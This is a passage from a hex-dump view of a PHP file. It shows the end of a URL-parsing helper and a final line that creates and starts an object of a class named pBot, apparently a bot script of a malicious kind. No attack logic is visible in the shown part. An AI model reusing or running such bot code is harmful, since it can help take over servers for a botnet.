| 25568: | 2C | 20 | 24 | 55 | 52 | 4C | 70 | 63 | 73 | 5B | 27 | 70 | 61 | 74 | 68 | 27 | 5D | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 24 | 55 | 52 | 4C | 70 | 63 | 73 | | , $URLpcs['path'] );
$URLpcs |
| 25600: | 5B | 27 | 66 | 69 | 6C | 65 | 27 | 5D | 20 | 3D | 20 | 65 | 6E | 64 | 28 | 20 | 24 | 50 | 61 | 74 | 68 | 50 | 63 | 73 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | | ['file'] = end( $PathPcs );
|
| 25632: | 75 | 6E | 73 | 65 | 74 | 28 | 20 | 24 | 50 | 61 | 74 | 68 | 50 | 63 | 73 | 5B | 20 | 6B | 65 | 79 | 28 | 20 | 24 | 50 | 61 | 74 | 68 | 50 | 63 | 73 | 20 | 29 | | unset( $PathPcs[ key( $PathPcs ) |
| 25664: | 20 | 5D | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 24 | 55 | 52 | 4C | 70 | 63 | 73 | 5B | 27 | 64 | 69 | 72 | 27 | 5D | 20 | 3D | 20 | 69 | 6D | 70 | 6C | 6F | | ] );
$URLpcs['dir'] = implo |
| 25696: | 64 | 65 | 28 | 22 | 2F | 22 | 2C | 24 | 50 | 61 | 74 | 68 | 50 | 63 | 73 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 0D | 0A | 09 | 09 | 09 | 24 | 66 | 69 | 6C | 65 | | de("/",$PathPcs);
$file |
| 25728: | 65 | 78 | 74 | 20 | 3D | 20 | 65 | 78 | 70 | 6C | 6F | 64 | 65 | 28 | 20 | 27 | 2E | 27 | 2C | 20 | 24 | 55 | 52 | 4C | 70 | 63 | 73 | 5B | 27 | 66 | 69 | 6C | | ext = explode( '.', $URLpcs['fil |
| 25760: | 65 | 27 | 5D | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 0D | 0A | 09 | 09 | 09 | 69 | 66 | 28 | 63 | 6F | 75 | 6E | 74 | 28 | 24 | 66 | 69 | 6C | 65 | 65 | 78 | | e'] );
if(count($fileex |
| 25792: | 74 | 29 | 29 | 0D | 0A | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 24 | 55 | 52 | 4C | 70 | 63 | 73 | 5B | 27 | 66 | 69 | 6C | 65 | 5F | 65 | 78 | 74 | | t))
{
$URLpcs['file_ext |
| 25824: | 27 | 5D | 20 | 3D | 20 | 24 | 66 | 69 | 6C | 65 | 65 | 78 | 74 | 5B | 20 | 63 | 6F | 75 | 6E | 74 | 28 | 20 | 24 | 66 | 69 | 6C | 65 | 65 | 78 | 74 | 20 | 29 | | '] = $fileext[ count( $fileext ) |
| 25856: | 20 | 2D | 20 | 31 | 20 | 5D | 3B | 0D | 0A | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 0D | 0A | 09 | 09 | 09 | 72 | 65 | 74 | 75 | 72 | 6E | 20 | 28 | 24 | | - 1 ];
}
return ($ |
| 25888: | 55 | 52 | 4C | 70 | 63 | 73 | 29 | 3B | 0D | 0A | 09 | 09 | 7D | 0D | 0A | 09 | 7D | 20 | 0D | 0A | 09 | 0D | 0A | 09 | 24 | 62 | 6F | 74 | 20 | 3D | 20 | 6E | | URLpcs);
}
}
$bot = n |
| 25920: | 65 | 77 | 20 | 70 | 42 | 6F | 74 | 3B | 20 | 0D | 0A | 09 | 24 | 62 | 6F | 74 | 2D | 3E | 73 | 74 | 61 | 72 | 74 | 28 | 29 | 3B | 20 | 0D | 0A | 0D | 0A | 3F | | ew pBot;
$bot->start();
? |
| 25952: | 3E | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | > |